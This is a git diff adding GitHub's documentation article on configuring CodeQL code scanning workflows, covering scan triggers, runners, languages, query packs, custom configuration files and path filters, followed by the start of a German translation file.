+**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
+
+{% endnote %}
+{% endif %}
+
+## About {% data variables.product.prodname_code_scanning %} configuration
+
+You can run {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %}, using {% data variables.product.prodname_actions %}, or from your continuous integration (CI) system. For more information, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)" or "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)."
+
+This article is about running {% data variables.product.prodname_code_scanning %} on {% data variables.product.product_name %} using actions.
+
+Before you can configure {% data variables.product.prodname_code_scanning %} for a repository, you must set up {% data variables.product.prodname_code_scanning %} by adding a {% data variables.product.prodname_actions %} workflow to the repository. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+
+{% data reusables.code-scanning.edit-workflow %}
+
+{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on  {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.code-scanning.codeql_workflow %} file.
+
+## Editing a {% data variables.product.prodname_code_scanning %} workflow
+
+{% data variables.product.prodname_dotcom %} saves workflow files in the _.github/workflows_ directory of your repository. You can find a workflow you have added by searching for its file name. For example, by default, the workflow file for {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} is called _codeql-analysis.yml_.
+
+1. In your repository, browse to the workflow file you want to edit.
+1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}.
+![Edit workflow file button](/assets/images/help/repository/code-scanning-edit-workflow-button.png)
+1. After you have edited the file, click **Start commit** and complete the "Commit changes" form. You can choose to commit directly to the current branch, or create a new branch and start a pull request.
+![Commit update to codeql.yml workflow](/assets/images/help/repository/code-scanning-workflow-update.png)
+
+For more information about editing workflow files, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+
+## Configuring frequency
+
+You can configure the {% data variables.code-scanning.codeql_workflow %} to scan code on a schedule or when specific events occur in a repository.
+
+Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository.
+
+### Scanning on push
+
+By default, the {% data variables.code-scanning.codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)."
+
+If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
+
+Additionally, when an `on:push` scan returns results that can be mapped to an open pull request, these alerts will automatically appear on the pull request in the same places as other pull request alerts. The alerts are identified by comparing the existing analysis of the head of the branch to the analysis for the target branch. For more information on {% data variables.product.prodname_code_scanning %} alerts in pull requests, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
+
+### Scanning pull requests
+
+The default {% data variables.code-scanning.codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %}
+
+For more information about the `pull_request` event, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#pull_request)."
+
+If you scan pull requests, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
+
+Using the `pull_request` trigger, configured to scan the pull request's merge commit rather than the head commit, will produce more efficient and accurate results than scanning the head of the branch on each push. However, if you use a CI/CD system that cannot be configured to trigger on pull requests, you can still use the `on:push` trigger and {% data variables.product.prodname_code_scanning %} will map the results to open pull requests on the branch and add the alerts as annotations on the pull request. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
+
+### Defining the severities causing pull request check failure
+
+By default, only alerts with the severity level of `Error` or security severity level of `Critical` or `High` will cause a pull request check failure, and a check will still succeed with alerts of lower severities. You can change the levels of alert severities and of security severities that will cause a pull request check failure in your repository settings. For more information about severity levels, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)."
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+1. Under "Code scanning", to the right of "Check Failure", use the drop-down menu to select the level of severity you would like to cause a pull request check failure.
+![Check failure setting](/assets/images/help/repository/code-scanning-check-failure-setting.png)
+
+### Avoiding unnecessary scans of pull requests
+
+You might want to avoid a code scan being triggered on specific pull requests targeted against the default branch, irrespective of which files have been changed. You can configure this by specifying `on:pull_request:paths-ignore` or `on:pull_request:paths` in the {% data variables.product.prodname_code_scanning %} workflow. For example, if the only changes in a pull request are to files with the file extensions `.md` or `.txt` you can use the following `paths-ignore` array.
+
+``` yaml
+on:
+  push:
+    branches: [main, protected]
+  pull_request:
+    branches: [main]
+    paths-ignore:
+      - '**/*.md'
+      - '**/*.txt'
+```
+
+{% note %}
+
+**Notes**
+
+* `on:pull_request:paths-ignore` and `on:pull_request:paths` set conditions that determine whether the actions in the workflow will run on a pull request. They don't determine what files will be analyzed when the actions _are_ run. When a pull request contains any files that are not matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, the workflow runs the actions and scans all of the files changed in the pull request, including those matched by `on:pull_request:paths-ignore` or `on:pull_request:paths`, unless the files have been excluded. For information on how to exclude files from analysis, see "[Specifying directories to scan](#specifying-directories-to-scan)."
+* For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} workflow files, don't use the `paths-ignore` or `paths` keywords with the `on:push` event as this is likely to cause missing analyses. For accurate results, {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} needs to be able to compare new changes with the analysis of the previous commit.
+
+{% endnote %}
+
+For more information about using `on:pull_request:paths-ignore` and `on:pull_request:paths` to determine when a workflow will run for a pull request, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)."
+
+### Scanning on a schedule
+
+If you use the default {% data variables.code-scanning.codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)."
+
+{% note %}
+
+**Note**: {% data variables.product.prodname_dotcom %} only runs scheduled jobs that are in workflows on the default branch. Changing the schedule in a workflow on any other branch has no effect until you merge the branch into the default branch.
+
+{% endnote %}
+
+### Example
+
+The following example shows a {% data variables.code-scanning.codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`.
+
+``` yaml
+on:
+  push:
+    branches: [main, protected]
+  pull_request:
+    branches: [main]
+  schedule:
+    - cron: '20 14 * * 1'
+```
+
+This workflow scans:
+* Every push to the default branch and the protected branch
+* Every pull request to the default branch
+* The default branch every Monday at 14:20 UTC
+
+## Specifying an operating system
+
+If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.code-scanning.codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %}
+
+``` yaml
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: [ubuntu-latest]
+```
+
+If you choose to use a self-hosted runner for code scanning, you can specify an operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% endif %}
+
+``` yaml
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: [self-hosted, ubuntu-latest]
+```
+
+{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} supports the latest versions of Ubuntu, Windows, and macOS. Typical values for this setting are therefore: `ubuntu-latest`, `windows-latest`, and `macos-latest`. For more information, see "[Choosing the runner for a job](/actions/using-jobs/choosing-the-runner-for-a-job)" and "[Using labels with self-hosted runners](/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners)."
+
+{% ifversion ghes %}You must ensure that Git is in the PATH variable on your self-hosted runners.{% else %}If you use a self-hosted runner, you must ensure that Git is in the PATH variable.{% endif %} For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)."
+
+For recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis{% ifversion not ghes %} on self-hosted machines{% endif %}, see  "[Recommended hardware resources for running {% data variables.product.prodname_codeql %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql)."
+
+## Specifying the location for {% data variables.product.prodname_codeql %} databases
+
+In general, you do not need to worry about where the {% data variables.code-scanning.codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action.
+
+``` yaml
+- uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    db-location: {% raw %}'${{ github.workspace }}/codeql_dbs'{% endraw %}
+```
+
+The {% data variables.code-scanning.codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %}
+
+If this parameter is not used, the {% data variables.code-scanning.codeql_workflow %} will create databases in a temporary location of its own choice.
+
+## Changing the languages that are analyzed
+
+{% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} automatically detects code written in the supported languages.
+
+{% data reusables.code-scanning.codeql-languages-bullets %}
+
+The default {% data variables.code-scanning.codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)."
+
+{% data reusables.code-scanning.specify-language-to-analyze %}
+
+If your workflow uses the `language` matrix then {% data variables.product.prodname_codeql %} is hardcoded to analyze only the languages in the matrix. To change the languages you want to analyze, edit the value of the matrix variable. You can remove a language to prevent it being analyzed or you can add a language that was not present in the repository when {% data variables.product.prodname_code_scanning %} was set up. For example, if the repository initially only contained JavaScript when {% data variables.product.prodname_code_scanning %} was set up, and you later added Python code, you will need to add `python` to the matrix.
+
+```yaml
+jobs:
+  analyze:
+    name: Analyze
+    ...
+    strategy:
+      fail-fast: false
+      matrix:
+        language: ['javascript', 'python']
+```
+
+If your workflow does not contain a matrix called `language`, then {% data variables.product.prodname_codeql %} is configured to run analysis sequentially. If you don't specify languages in the workflow, {% data variables.product.prodname_codeql %} automatically detects, and attempts to analyze, any supported languages in the repository. If you want to choose which languages to analyze, without using a matrix, you can use the `languages` parameter under the `init` action.
+
+```yaml
+- uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    languages: cpp, csharp, python
+```
+{% ifversion fpt or ghec %}
+## Analyzing Python dependencies
+
+For GitHub-hosted runners that use Linux only, the {% data variables.code-scanning.codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`:
+
+-  If the repository contains code written in Python, the "Initialize CodeQL" step installs the necessary dependencies on the GitHub-hosted runner. If the auto-install succeeds, the action also sets the environment variable `CODEQL_PYTHON` to the Python executable file that includes the dependencies.
+
+- If the repository doesn't have any Python dependencies, or the dependencies are specified in an unexpected way, you'll get a warning and the action will continue with the remaining jobs. The action can run successfully even when there are problems interpreting dependencies, but the results may be incomplete.
+
+Alternatively, you can install Python dependencies manually on any operating system. You will need to add `setup-python-dependencies` and set it to `false`, as well as set `CODEQL_PYTHON` to the Python executable that includes the dependencies, as shown in this workflow extract:
+
+```yaml
+jobs:
+  CodeQL-Build:
+    runs-on: ubuntu-latest
+    permissions:
+      security-events: write
+      actions: read
+
+    steps:
+      - name: Checkout repository
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Python
+        uses: {% data reusables.actions.action-setup-python %}
+        with:
+          python-version: '3.x'
+      - name: Install dependencies
+        run: |
+          python -m pip install --upgrade pip
+          if [ -f requirements.txt ];
+          then pip install -r requirements.txt;
+          fi
+          # Set the `CODEQL-PYTHON` environment variable to the Python executable
+          # that includes the dependencies
+          echo "CODEQL_PYTHON=$(which python)" >> $GITHUB_ENV
+      - name: Initialize CodeQL
+        uses: {% data reusables.actions.action-codeql-action-init %}
+        with:
+          languages: python
+          # Override the default behavior so that the action doesn't attempt
+          # to auto-install Python dependencies
+          setup-python-dependencies: false
+```
+{% endif %}
+
+## Configuring a category for the analysis
+
+Use `category` to distinguish between multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. The category you specify in your workflow will be included in the SARIF results file.
+
+This parameter is particularly useful if you work with monorepos and have multiple SARIF files for different components of the monorepo.
+
+``` yaml
+    - name: Perform CodeQL Analysis
+      uses: {% data reusables.actions.action-codeql-action-analyze %}
+      with:
+        # Optional. Specify a category to distinguish between multiple analyses
+        # for the same tool and ref. If you don't use `category` in your workflow,
+        # GitHub will generate a default category name for you
+        category: "my_category"
+```
+
+If you don't specify a `category` parameter in your workflow, {% data variables.product.product_name %} will generate a category name for you, based on the name of the workflow file triggering the action, the action name, and any matrix variables. For example:
+- The `.github/workflows/codeql-analysis.yml` workflow and the `analyze` action will produce the category `.github/workflows/codeql.yml:analyze`.
+- The `.github/workflows/codeql-analysis.yml` workflow, the `analyze` action, and the `{language: javascript, os: linux}` matrix variables will produce the category `.github/workflows/codeql-analysis.yml:analyze/language:javascript/os:linux`.
+
+The `category` value will appear as the `<run>.automationDetails.id` property in SARIF v2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning#runautomationdetails-object)."
+
+Your specified category will not overwrite the details of the `runAutomationDetails` object in the SARIF file, if included.
+
+## Running additional queries
+
+{% data reusables.code-scanning.run-additional-queries %}
+
+{% ifversion codeql-packs %}
+### Using {% data variables.product.prodname_codeql %} query packs
+
+{% data reusables.code-scanning.beta-codeql-packs-cli %}
+
+To add one or more {% data variables.product.prodname_codeql %} query packs (beta), add a `with: packs:` entry within the `uses: {% data reusables.actions.action-codeql-action-init %}` section of the workflow. Within `packs` you specify one or more packages to use and, optionally, which version to download. Where you don't specify a version, the latest version is downloaded. If you want to use packages that are not publicly available, you need to set the `GITHUB_TOKEN` environment variable to a secret that has access to the packages. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+
+{% note %}
+
+**Note:** For workflows that generate {% data variables.product.prodname_codeql %} databases for multiple languages, you must instead specify the {% data variables.product.prodname_codeql %} query packs in a configuration file. For more information, see "[Specifying {% data variables.product.prodname_codeql %} query packs](#specifying-codeql-query-packs)" below.
+
+{% endnote %}
+
+In the example below, `scope` is the organization or personal account that published the package. When the workflow runs, the four {% data variables.product.prodname_codeql %} query packs are downloaded from {% data variables.product.product_name %} and the default queries or query suite for each pack run:
+- The latest version of `pack1` is downloaded and all default queries are run.
+- Version 1.2.3 of `pack2` is downloaded and all default queries are run.
+- The latest version of `pack3` that is compatible with version 3.2.1 is downloaded and all queries are run.
+- Version 4.5.6 of `pack4` is downloaded and only the queries found in `path/to/queries` are run.
+
+``` yaml
+- uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    # Comma-separated list of packs to download
+    packs: scope/pack1,scope/pack2@1.2.3,scope/pack3@~3.2.1,scope/pack4@4.5.6:path/to/queries
+```
+
+### Downloading {% data variables.product.prodname_codeql %} packs from {% data variables.product.prodname_ghe_server %}
+
+If your workflow uses packs that are published on a {% data variables.product.prodname_ghe_server %} installation, you need to tell your workflow where to find them. You can do this by using the `registries` input of the {% data reusables.actions.action-codeql-action-init %} action. This input accepts a list of `url`, `packages`, and `token` properties as shown below.
+
+```
+- uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    registries: {% raw %}|
+      # URL to the container registry, usually in this format
+      - url: https://containers.GHEHOSTNAME1/v2/
+
+        # List of package glob patterns to be found at this registry
+        packages:
+          - my-company/*
+          - my-company2/*
+
+        # Token, which should be stored as a secret
+        token: ${{ secrets.GHEHOSTNAME1_TOKEN }}
+
+      # URL to the default container registry
+      - url: https://ghcr.io/v2/
+        # Packages can also be a string
+        packages: "*/*"
+        token: ${{ secrets.GHCR_TOKEN }}
+
+    {% endraw %}
+```
+
+The package patterns in the registries list are examined in order, so you should generally place the most specific package patterns first. The values for `token` must be a {% data variables.product.pat_v1 %} generated by the GitHub instance you are downloading from with the `read:packages` permission.
+
+Notice the `|` after the `registries` property name. This is important since  {% data variables.product.prodname_actions %} inputs can only accept strings. Using the `|` converts the subsequent text to a string, which is parsed later by the {% data reusables.actions.action-codeql-action-init %} action.
+
+### Using queries in QL packs
+{% endif %}
+To add one or more queries, add a `with: queries:` entry within the `uses: {% data reusables.actions.action-codeql-action-init %}` section of the workflow. If the queries are in a private repository, use the `external-repository-token` parameter to specify a token that has access to checkout the private repository.
+
+``` yaml
+- uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    queries: COMMA-SEPARATED LIST OF PATHS
+    # Optional. Provide a token to access queries stored in private repositories.
+    external-repository-token: {% raw %}${{ secrets.ACCESS_TOKEN }}{% endraw %}
+```
+
+You can also specify query suites in the value of `queries`. Query suites are collections of queries, usually grouped by purpose or language.
+
+{% data reusables.code-scanning.codeql-query-suites-explanation %}
+
+{% ifversion codeql-packs %}
+### Working with custom configuration files
+{% endif %}
+
+If you also use a configuration file for custom settings, any additional {% ifversion codeql-packs %}packs or {% endif %}queries specified in your workflow are used instead of those specified in the configuration file. If you want to run the combined set of additional {% ifversion codeql-packs %}packs or {% endif %}queries, prefix the value of {% ifversion codeql-packs %}`packs` or {% endif %}`queries` in the workflow with the `+` symbol. For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)."
+
+In the following example, the `+` symbol ensures that the specified additional {% ifversion codeql-packs %}packs and {% endif %}queries are used together with any specified in the referenced configuration file.
+
+``` yaml
+- uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    config-file: ./.github/codeql/codeql-config.yml
+    queries: +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main
+    {%- ifversion codeql-packs %}
+    packs: +scope/pack1,scope/pack2@1.2.3,scope/pack3@4.5.6:path/to/queries
+    {%- endif %}
+```
+
+## Using a custom configuration file
+
+A custom configuration file is an alternative way to specify additional {% ifversion codeql-packs %}packs and {% endif %}queries to run. You can also use the file to disable the default queries{% ifversion code-scanning-exclude-queries-from-analysis %}, exclude or include specific queries,{% endif %} and to specify which directories to scan during analysis.
+
+In the workflow file, use the `config-file` parameter of the `init` action to specify the path to the configuration file you want to use. This example loads the configuration file _./.github/codeql/codeql-config.yml_.
+
+``` yaml
+- uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    config-file: ./.github/codeql/codeql-config.yml
+```
+
+{% data reusables.code-scanning.custom-configuration-file %}
+
+If the configuration file is located in an external private repository, use the `external-repository-token` parameter of the `init` action to specify a token that has access to the private repository.
+
+```yaml
+- uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    external-repository-token: {% raw %}${{ secrets.ACCESS_TOKEN }}{% endraw %}
+```
+
+The settings in the configuration file are written in YAML format.
+
+{% ifversion codeql-packs %}
+### Specifying {% data variables.product.prodname_codeql %} query packs
+
+{% data reusables.code-scanning.beta-codeql-packs-cli %}
+
+You specify {% data variables.product.prodname_codeql %} query packs in an array. Note that the format is different from the format used by the workflow file.
+
+{% raw %}
+``` yaml
+packs:
+  # Use the latest version of 'pack1' published by 'scope'
+  - scope/pack1
+  # Use version 1.2.3 of 'pack2'
+  - scope/pack2@1.2.3
+  # Use the latest version of 'pack3' compatible with 3.2.1
+  - scope/pack3@~3.2.1
+  # Use pack4 and restrict it to queries found in the 'path/to/queries' directory
+  - scope/pack4:path/to/queries
+  # Use pack5 and restrict it to the query 'path/to/single/query.ql'
+  - scope/pack5:path/to/single/query.ql
+  # Use pack6 and restrict it to the query suite 'path/to/suite.qls'
+  - scope/pack6:path/to/suite.qls
+```
+{% endraw %}
+
+The full format for specifying a query pack is `scope/name[@version][:path]`. Both `version` and `path` are optional. `version` is semver version range. If it is missing, the latest version is used. For more information about semver ranges, see the [semver docs on npm](https://docs.npmjs.com/cli/v6/using-npm/semver#ranges).
+
+If you have a workflow that generates more than one {% data variables.product.prodname_codeql %} database, you can specify any {% data variables.product.prodname_codeql %} query packs to run in a custom configuration file using a nested map of packs.
+
+{% raw %}
+``` yaml
+packs:
+  # Use these packs for JavaScript analysis
+  javascript:
+    - scope/js-pack1
+    - scope/js-pack2
+  # Use these packs for Java analysis
+  java:
+    - scope/java-pack1
+    - scope/java-pack2@v1.0.0
+```
+{% endraw %}
+{% endif %}
+
+### Specifying additional queries
+
+You specify additional queries in a `queries` array. Each element of the array contains a `uses` parameter with a value that identifies a single query file, a directory containing query files, or a query suite definition file.
+
+``` yaml
+queries:
+  - uses: ./my-basic-queries/example-query.ql
+  - uses: ./my-advanced-queries
+  - uses: ./query-suites/my-security-queries.qls
+```
+
+Optionally, you can give each array element a name, as shown in the example configuration files below. For more information about additional queries, see "[Running additional queries](#running-additional-queries)" above.
+
+### Disabling the default queries
+
+If you only want to run custom queries, you can disable the default security queries by using `disable-default-queries: true`.
+
+{% ifversion code-scanning-exclude-queries-from-analysis %}
+### Excluding specific queries from analysis
+
+You can add `exclude` and `include` filters to your custom configuration file, to specify the queries you want to exclude or include in the analysis.
+
+This is useful if you want to exclude, for example:
+- Specific queries from the default suites (`security`, `security-extended` and `security-and-quality`).
+- Specific queries whose results do not interest you.
+- All the queries that generate warnings and recommendations.
+
+You can use `exclude` filters similar to those in the configuration file below to exclude queries that you want to remove from the default analysis. In the example of configuration file below, both the `js/redundant-assignment` and the `js/useless-assignment-to-local` queries are excluded from analysis.
+
+```yaml
+query-filters:
+  - exclude:
+      id: js/redundant-assignment
+  - exclude:
+      id: js/useless-assignment-to-local
+```
+To find the id of a query, you can click the alert in the list of alerts in the Security tab. This opens the alert details page. The `Rule ID` field contains the query id. For more information about the alert details page, see "[About {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)."
+
+{% tip %}
+
+**Tips:**
+- The order of the filters is important. The first filter instruction that appears after the instructions about the queries and query packs determines whether the queries are included or excluded by default.
+- Subsequent instructions are executed in order and the instructions that appear later in the file take precedence over the earlier instructions.
+
+{% endtip %}
+
+You can find another example illustrating the use of these filters in the "[Example configuration files](#example-configuration-files)" section.
+
+For more information about using `exclude` and `include` filters in your custom configuration file, see "[Creating {% data variables.product.prodname_codeql %} query suites](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/#filtering-the-queries-in-a-query-suite)." For information on the query metadata you can filter on, see "[Metadata for CodeQL queries](https://codeql.github.com/docs/writing-codeql-queries/metadata-for-codeql-queries/)."
+
+{% endif %}
+
+### Specifying directories to scan
+
+For the interpreted languages that {% data variables.product.prodname_codeql %} supports (Python{% ifversion fpt or ghes > 3.3 or ghae > 3.3 %}, Ruby{% endif %} and JavaScript/TypeScript), you can restrict {% data variables.product.prodname_code_scanning %} to files in specific directories by adding a `paths` array to the configuration file. You can exclude the files in specific directories from analysis by adding a `paths-ignore` array.
+
+``` yaml
+paths:
+  - src
+paths-ignore:
+  - src/node_modules
+  - '**/*.test.js'
+```
+
+{% note %}
+
+**Note**:
+
+* The `paths` and `paths-ignore` keywords, used in the context of the {% data variables.product.prodname_code_scanning %} configuration file, should not be confused with the same keywords when used for `on.<push|pull_request>.paths` in a workflow. When they are used to modify `on.<push|pull_request>` in a workflow, they determine whether the actions will be run when someone modifies code in the specified directories. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore)."
+* The filter pattern characters `?`, `+`, `[`, `]`, and `!` are not supported and will be matched literally.
+* `**` characters can only be at the start or end of a line, or surrounded by slashes, and you can't mix `**` and other characters. For example, `foo/**`, `**/foo`, and `foo/**/bar` are all allowed syntax, but `**foo` isn't. However you can use single stars along with other characters, as shown in the example. You'll need to quote anything that contains a `*` character.
+
+{% endnote %}
+
+For compiled languages, if you want to limit {% data variables.product.prodname_code_scanning %} to specific directories in your project, you must specify appropriate build steps in the workflow. The commands you need to use to exclude a directory from the build will depend on your build system. For more information, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages#adding-build-steps-for-a-compiled-language)."
+
+You can quickly analyze small portions of a monorepo when you modify code in specific directories. You'll need to both exclude directories in your build steps and use the `paths-ignore` and `paths` keywords for [`on.<push|pull_request>`](/actions/reference/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore) in your workflow.
+
+### Example configuration files
+
+{% data reusables.code-scanning.example-configuration-files %}
+
+## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages
+
+{% data reusables.code-scanning.autobuild-compiled-languages %} {% data reusables.code-scanning.analyze-go %}
+
+{% data reusables.code-scanning.autobuild-add-build-steps %} For more information about how to configure {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} for compiled languages, see "[Configuring the {% data variables.product.prodname_codeql %} workflow for compiled languages](/code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages)."
+
+## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %}
+
+{% data variables.product.prodname_dotcom %} can display code analysis data generated externally by a third-party tool. You can upload code analysis data with the `upload-sarif` action. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)."
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md
new file mode 100644
index 0000000000..08561064fa
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md
@@ -0,0 +1,155 @@
+---
+title: Konfigurieren des CodeQL-Workflows für kompilierte Sprachen
+shortTitle: Configure compiled languages
+intro: 'Du kannst konfigurieren, wie {% data variables.product.prodname_dotcom %} mithilfe des {% data variables.code-scanning.codeql_workflow %} Code scannt, der in kompilierten Sprachen für Sicherheitsrisiken und Fehler geschrieben wurde.'
+product: '{% data reusables.gated-features.code-scanning %}'
+permissions: 'If you have write permissions to a repository, you can configure {% data variables.product.prodname_code_scanning %} for that repository.'
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning-for-compiled-languages
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-the-codeql-action-for-compiled-languages
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-the-codeql-workflow-for-compiled-languages
+  - /code-security/secure-coding/configuring-the-codeql-workflow-for-compiled-languages
